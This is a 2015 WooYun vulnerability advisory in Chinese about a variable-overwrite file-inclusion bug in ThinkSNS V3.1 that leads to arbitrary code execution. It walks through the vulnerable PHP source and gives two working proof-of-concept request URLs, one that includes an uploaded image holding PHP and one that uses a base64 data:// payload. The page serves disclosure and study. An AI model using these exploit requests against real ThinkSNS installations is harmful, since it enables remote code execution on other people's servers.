当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(10) 关注此漏洞

缺陷编号: WooYun-2015-95672

漏洞标题: ThinkSNS任意代码执行漏洞

相关厂商: ThinkSNS

漏洞作者: error

提交时间: 2015-02-05 18:06

公开时间: 2015-04-02 10:23

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核

0人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-05: 细节已通知厂商并且等待厂商处理中
2015-02-10: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-04-06: 细节向核心白帽子及相关领域专家公开
2015-04-16: 细节向普通白帽子公开
2015-04-26: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

代码执行漏洞

详细说明:

code 区域
漏洞文件: /addons/widget/FeedListWidget/FeedlistWidget.class.php
漏洞函数: getData()

getData函数位于/addons/widget/FeedListWidget/FeedlistWidget.class.php
在第262行处调用renderFile函数进行渲染模版。

private function getData($var, $tpl = 'FeedList.html') {
$var['feed_key'] = t($var['feed_key']);
$var['cancomment'] = isset($var['cancomment']) ? $var['cancomment'] : 1;
//$var['cancomment_old_type'] = array('post','repost','postimage','postfile');
$var['cancomment_old_type'] = array('post','repost','postimage','postfile','weiba_post','weiba_repost');
// 获取微博配置
$weiboSet = model('Xdata')->get('admin_Config:feed');
$var = array_merge($var, $weiboSet);
$var['remarkHash'] = model('Follow')->getRemarkHash($GLOBALS['ts']['mid']);
$map = $list = array();
$type = $var['new'] ? 'new'.$var['type'] : $var['type']; // 最新的微博与默认微博类型一一对应
//。。。。此处省略1万字
$content['html'] = $this->renderFile(dirname(__FILE__)."/".$tpl, $var); //调用renderFile进行渲染模版
return $content;
}

renderFile函数定义于文件core/OpenSociax/Widget.class.php中:
protected function renderFile($templateFile = '', $var = '', $charset = 'utf-8') {
$var['ts'] = $GLOBALS['ts'];
if (! file_exists_case ( $templateFile )) {
// 自动定位模板文件
// $name = substr ( get_class ( $this ), 0, - 6 );
// $filename = empty ( $templateFile ) ? $name : $templateFile;
// $templateFile = 'widget/' . $name . '/' . $filename . C ( 'TMPL_TEMPLATE_SUFFIX' );
// if (! file_exists_case ( $templateFile ))
throw_exception ( L ( '_WIDGET_TEMPLATE_NOT_EXIST_' ) . '[' . $templateFile . ']' );
}
$template = $this->template ? $this->template : strtolower ( C ( 'TMPL_ENGINE_TYPE' ) ? C ( 'TMPL_ENGINE_TYPE' ) : 'php' );
$content = fetch($templateFile,$var,$charset); //调用fetch函数载入模版
return $content;
}

进一步跟进fetch函数,fetch函数实现上可能存在任意变量覆盖漏洞:
fetch函数定义在core/OpenSociax/functions.inc.php中(第939行开始):
function fetch($templateFile='',$tvar=array(),$charset='utf-8',$contentType='text/html',$display=false) {
//注入全局变量ts
global $ts;
$tvar['ts'] = $ts;
//$GLOBALS['_viewStartTime'] = microtime(TRUE);
if(null===$templateFile)
return ;
if(empty($charset)) $charset = C('DEFAULT_CHARSET');
header("Content-Type:".$contentType."; charset=".$charset);
header("Cache-control: private");
ob_start();
ob_implicit_flush(0);
if(''==$templateFile){
$templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.ACTION_NAME.'.html';
}elseif(file_exists(APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html')) {
$templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html';
}elseif(file_exists($templateFile)){
}else{
throw_exception(L('_TEMPLATE_NOT_EXIST_').'['.$templateFile.']');
}
$templateCacheFile = C('TMPL_CACHE_PATH').'/'.APP_NAME.'_'.tsmd5($templateFile).'.php';
if(!$ts['_debug'] && file_exists($templateCacheFile)) {
//if(1==2){
extract($tvar, EXTR_OVERWRITE); //可能导致变量覆盖
//载入模版缓存文件
include $templateCacheFile; //变量templateCacheFile可能会被覆盖,导致任意文件包含漏洞

第982行处调用参数为EXTR_OVERWRITE标示的extract函数,extract代码下面即为include $templateCacheFile
只要能控制fetch的第2个参数$tvar,就可以将$templateCacheFile覆盖为任意值。


回到/addons/widget/FeedListWidget/FeedlistWidget.class中,在第105行处存在以下代码:
$content = $this->getData($_REQUEST,'_FeedList.html');
if(empty($content['html'])){//没有最新的
$return = array('status'=>0,'msg'=>L('PUBLIC_WEIBOISNOTNEW'));
}else{
直接将$_REQUEST传入函数getData,导致可以从客户端传递templateCacheFile进行变量覆盖实现任意文件包含,最终可实现任意代码执行。

漏洞证明:

code 区域
【方法一: 本地代码执行】
0x01
普通用户登录后,上传一张含有php代码的图片,图片的内容为 <?php phpinfo();die;?>

1.png


上传后获取到图片路径为:data/upload/2015/0102/02/54a5970c2347f_100_100.jpg

0x02
利用变量覆盖实现文件包含并任意执行php代码
**.**.**.**/ThinkSNS_V3.1/?app=widget&mod=feedlist&act=getdata&maxId=11111111&act=loadNew&templateCacheFile=data/upload/2015/0102/02/54a5970c2347f_100_100.jpg

2.png


成功执行data/upload/2015/0102/02/54a5970c2347f_100_100.jpg的代码


【方法二:远程代码执行】
(当allow_url_include=On时有效)
**.**.**.**/ThinkSNS_V3.1/?app=widget&mod=feedlist&act=getdata&maxId=11111111&act=loadNew&templateCacheFile=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2RpZTs/Pg==

3.png


PD9waHAgcGhwaW5mbygpO2RpZTs/Pg==是<?php phpinfo();die;?>的base64编码

修复方案:

过滤

版权声明:转载请注明来源 error@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-02-05 18:45 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:150 | http://menmen519.blog.sohu.com/)
    0

    这个估计就是我提交360的那个 需要后台启用一个开关吧?

登录后才能发表评论,请先 登录